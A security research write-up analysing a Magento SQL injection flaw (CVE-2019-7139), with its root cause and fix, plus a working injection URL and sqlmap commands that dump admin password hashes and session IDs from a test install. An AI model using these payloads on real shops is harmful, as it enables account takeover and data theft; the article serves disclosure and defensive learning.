Security research

Exploiting SQL Injection in Magento Using Sqlmap

Publisher
Pentest-Tools.com
Updated at
Article tags

In this article we show a new method of exploiting the critical SQL Injection vulnerability in Magento (CVE-2019-7139), using the well known SQLMap tool.

After explaining the vulnerability details, we show how to extract arbitrary information from the database with SQLMap which is a more powerful approach than the original exploit, which can extract very limited information.

Contents

  1. About Magento

  2. Vulnerability analysis

  3. Mitigation

  4. Triggering the vulnerability

  5. Exploitation with SQLMap

1. About Magento

Magento is a popular open-source e-commerce platform with over 220,000 shops currently active. This makes it an attractive target for hackers. For the past couple of years, hackers leveraged multiple vulnerabilities to compromise Magento websites and plant malicious scripts that steal payment data on checkout pages. This type of attack is called web skimming and hackers used it to target thousands of websites.

2. Vulnerability analysis

CVE-2019-7139, also known as PRODSECBUG-2198, is an unauthenticated SQL injection vulnerability that affects some versions of Magento. The bug was uncovered by Charles Fol, a researcher for security company Ambionics.

The following versions of Magento are affected by this vulnerability:

• Magento Open Source <= 1.9.4.0

• Magento Commerce <= 1.14.4.0

• Magento 2.1 <= 2.1.16

• Magento 2.2 <= 2.2.7

• Magento 2.3.0

The vulnerability is present in the method prepareSqlCondition from the file lib\Magento\Framework\DB\Adapter\Pdo\Mysql.php and is caused by a logical error in how the SQL query is constructed.

To better understand the root cause of the vulnerability, we should take a look at some snippets of Magento code from this file. Here are the relevant lines for the vulnerability:

<?php
/****
 ** Build SQL statement for condition
 **/
public function prepareSqlCondition($fieldName, $condition) {
    $conditionKeyMap = [
        'from'          => "{ {fieldName} } >= ?",
        'to'            => "{ {fieldName} } <= ?"
    ];
    $query = '';
    if (is_array($condition)) {
        if (isset($condition['from']) || isset($condition['to'])) {
            if (isset($condition['from'])) {
            [1] $from  = $this->_prepareSqlDateCondition($condition, 'from');
                $query = $this->_prepareQuotedSqlCondition($conditionKeyMap['from'], $from, $fieldName);
            }
            if (isset($condition['to'])) {
                $query .= empty($query) ? '' : ' AND ';
                $to     = $this->_prepareSqlDateCondition($condition, 'to');
                $query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName);
            }
        }
    }
    return $query;
}

protected function _prepareQuotedSqlCondition($text, $value, $fieldName) {
    $sql = $this->quoteInto($text, $value);
    $sql = str_replace('{ {fieldName} }', $fieldName, $sql);
    return $sql;
}
?>

With the associative array $condition and the variable $fieldname, the method prepareSqlCondition constructs an SQL query by mapping the given conditions to $conditionKeyMap. The vulnerability triggers when both fields $condition[‘from’] and $condition[‘to’] are set. Here’s the code that shows how and when it the bug pops up:

Our analysis starts from [1]:

1. First, we make the assignment $from = $condition['from']. Then we have the call to _prepareQuotedSqlCondition, which looks like this:

$query = $this->_prepareQuotedSqlCondition("{ {fieldName} } >= ?", $condition['from'], $fieldName)

What this method does is replace the first “?” that it finds with the variable $condition['from'] and then { {fieldName} } with $fieldName. At the end of this call, the query becomes:

$query = "$fieldName >= $condition['from']"

2. Now, for the field $condition['to']. Our query first turns to:

$query = "$fieldName >= $condition['from'] AND "

The next step is to make the same assignment as before $to = $condition['to']. An issue arises, though, as the next call will be:

$query = $this->_prepareQuotedSqlCondition("$fieldName >= $condition['from'] AND { {fieldName} } <= ?", $condition['to'], $fieldName)

As mentioned before, this method replaces the first “?” it finds with $condition['to']. If we were to include a “?” in $condition['from'], then we can replace that with $condition['to']. For example, consider $condition['from'] = "?". The resulting query after the call above then becomes:

$query =  "$fieldName >= $condition['to'] AND $fieldName  <= ?"

By setting $condition ['to'] to the appropriate SQL code, we will have successfully modified the intended query. For instance, if $condition[‘to’] = "1 OR 1=1 -- ", then the SQL query becomes $query = "$fieldName >= 1 OR 1=1 -- AND $fieldName <= ?".

3. Mitigation

To solve the problem, the line

$query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName);

should be:

$query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);

The latest versions of Magento already have this fix that removes the CVE-2019-7139 vulnerability.

4. Triggering the vulnerability

To reproduce the vulnerability in a test environment, we ran Magento 2.2.6 in Docker; the image is freely available from here.

In the original article, the vulnerability is leveraged by using the controller lib\Magento\Catalog\Controller\Product\Frontend\Action\Synchronize.php. However, this exploitation method works only in Magento >= 2.2.0.

A valid URL for SQL Injection is:

https://local.magento/catalog/product_frontend_action/synchronize?

type_id=recently_products&

ids[0][added_at]=&

ids[0][product_id][from]=?&

ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -

Starting from this, we can trigger either a content-based blind SQLi or a time-based blind SQLi. Here are two examples of GET requests made to the database:

– Blind SQL Injection – Content-based

For content-based blind SQL Injection, the two queries below compare the first character of the current user with the character ‘A’. If the condition is true, the server returns HTTP 400 Bad Request, because we are trying to concatenate a 1 column result with a 2 columns result. If it’s false we get HTTP 200 OK, as the SELECT after UNION is ignored.

content-based blind SQL Injection query onecontent-based blind SQL Injection query two

– Blind SQL Injection – Time-based

For time-based blind SQL Injection, we see a difference in the server’s response time. If the condition evaluates to false, SLEEP(5) is called, and the server will sleep for 5 seconds before responding. Otherwise, we get the response immediately.

time-based blind SQL Injection server&#039;s response 1time-based blind SQL Injection server&#039;s response 2

5. Exploitation with SQLMap

The original author has already released a proof-of-concept exploit for this vulnerability; however, it is very limited in the amount of information it can extract from the database.

A more generic exploitation method is possible by using SQLMap. Our goal is to extract arbitrary information from the database, including the credentials of all Magento admin users.

SQLMap is the de-facto tool for exploiting database vulnerabilities because of its versatility in terms of supported parameters – like specify HTTP options, SQLi techniques, information to extract, and more. Since we know that vulnerability is a blind SQLi, the relevant techniques are content (called boolean blind by SQLMap) and time-based SQL injection. The easier path is a content-based attack and this is what we’ll focus on.

Note: To successfully use this method you have to use the parameters --ignore-code=400 or --code=400; otherwise, SQLMap will assume that it’s doing something wrong when it receives HTTP error codes.

First steps

Before verifying the validity of our technique, here’s a list of some common parameters we’ll be using throughout this section:

-u          : the target url, with parameters included
--prefix    : prefix to add before the payload
--suffix    : suffix to add after the payload
-p          : parameter on which to inject the payload
--dbms      : database we assume to be running on target
--level     : range and number of payloads tried (1 to 5)
--risk      : risks of tests to perform (1 to 3)
--technique : technique to use; choose from one or more letters from "BEUSTQ"
--o         : some performance optimization

For start, we’ll extract the current database (parameter --current-db) using the following command:

sqli@magento:~$ ./sqlmap.py -u 'http://local.magento/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=' -p "ids[0][product_id][to]" --prefix=")))" --suffix=" -- -" --dbms=mysql --technique=B --ignore-code=400 --level=5 --risk=3 -o --current-db

The special parameters required to successfully exploit with SQLMap are: --prefix--suffix and ignore-code.

Results:

parameters for exploitation with SQLMap

Getting more sensitive data

Now we want to extract more interesting stuff from the database, like the admin credentials. Here are the steps required for that:

  1. Find tables with ‘admin’ in the name: we can use SQLMap to search for tables with certain strings in their names. Upon hitting one, it goes through it and prints the relevant results. The obvious table name in our case is ‘admin’, and here’s what SQLMap can find for us:

sqli@magento:~$ ./sqlmap.py -u 'http://local.magento/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=' -p "ids[0][product_id][to]" --prefix=")))" --suffix=" -- -" --dbms=mysql --technique=B --ignore-code=400 --level=5 --risk=3 -o --search -T admin

Results:

sensitive data extraction

If the site admin was careful and modified the default table names, we can try different search strings or enumerate all the table names in the database using –tables.

  1. Now let’s dump the admin_user table and look inside:

sqli@magento:~$ ./sqlmap.py -u 'http://local.magento/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=' -p "ids[0][product_id][to]" --prefix=")))" --suffix=" -- -" --dbms=mysql --technique=B  --ignore-code=400 --level=5 --risk=3 -o --dump -D magento -T admin_user

The new parameters are used to specify the search area: -D for database, -T for the table. Here we’ll show just the username and password columns, as those are of interest:

User

Password

admin1

97999302a66b6dcf480c48681603509ef827d71423307f3461857bc26c4362c8:
rD6fNHdN6BqoZFklZR5Nt9KfBDs1GPGV:1

admin

815bafca0bb99e3709f6fbe5b0d941d997a5c23d3f7a4e0bcc4a9b77b8608be9:
oIdbca8tP41bNLXWWlEkGs4rm5LeFJih:1

Please note that the passwords are stored into the database as a string with three parts separated by “:”

1) hash of salt and password
2) salt, by default of 32 bits length
3) version, where 1 is SHA256 and 0 is MD5

Having this information, the passwords can be cracked with common tools like Hashcat or John the Ripper.

  1. Instead of cracking passwords, a faster approach is to extract the session cookies from admin_user_session table, if there are any valid ones; these come with admin privileges on the site. By default, a session cookie is valid for 15 minutes, but this value is customizable. Just as before, we have to dump the contents of the table.To illustrate another functionality of SQLMap, here we’ll directly dump just the needed column.

sqli@magento:~$ ./sqlmap.py -u 'http://local.magento/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=' -p "ids[0][product_id][to]" --prefix=")))" --suffix=" -- -" --dbms=mysql --technique=B --level=5 --risk=3 -o --dump -D magento -T admin_user_session -C session_id

Learn how to use SQLMap to exploit the SQL injection vulnerability in Magento

In this article, we explored a recent SQL Injection vulnerability in Magento (CVE-2019-7139), understood its root cause, and then we showed a more powerful exploitation method that uses SQLMap. You can also learn what happens when an authenticated user abuses Magento’s Protocol Directives to achieve Remote Code Execution based on the way PHAR files are deserialized.

We recommend upgrading Magento to the latest version to mitigate this vulnerability as it is relatively easy to exploit.

Get vulnerability research & write-ups

In your inbox. (No fluff. Actionable stuff only.)

Related articles

Suggested articles

Footer

© 2013-2024 Pentest-Tools.com

Pentest-Tools.com has a LinkedIn account it's very active on

Join over 45,000 security specialists to discuss career challenges, get pentesting guides and tips, and learn from your peers. Follow us on LinkedIn!

Pentest-Tools.com has a YouTube account where you can find tutorials and useful videos

Expert pentesters share their best tips on our Youtube channel. Subscribe to get practical penetration testing tutorials and demos to build your own PoCs!

G2 award badge

Pentest-Tools.com recognized as a Leader in G2’s Spring 2023 Grid® Report for Penetration Testing Software. Discover why security and IT pros worldwide use the platform to streamline their penetration and security testing workflow.

OWASP logo

Pentest-Tools.com is a Corporate Member of OWASP (The Open Web Application Security Project). We share their mission to use, strengthen, and advocate for secure coding standards into every piece of software we develop.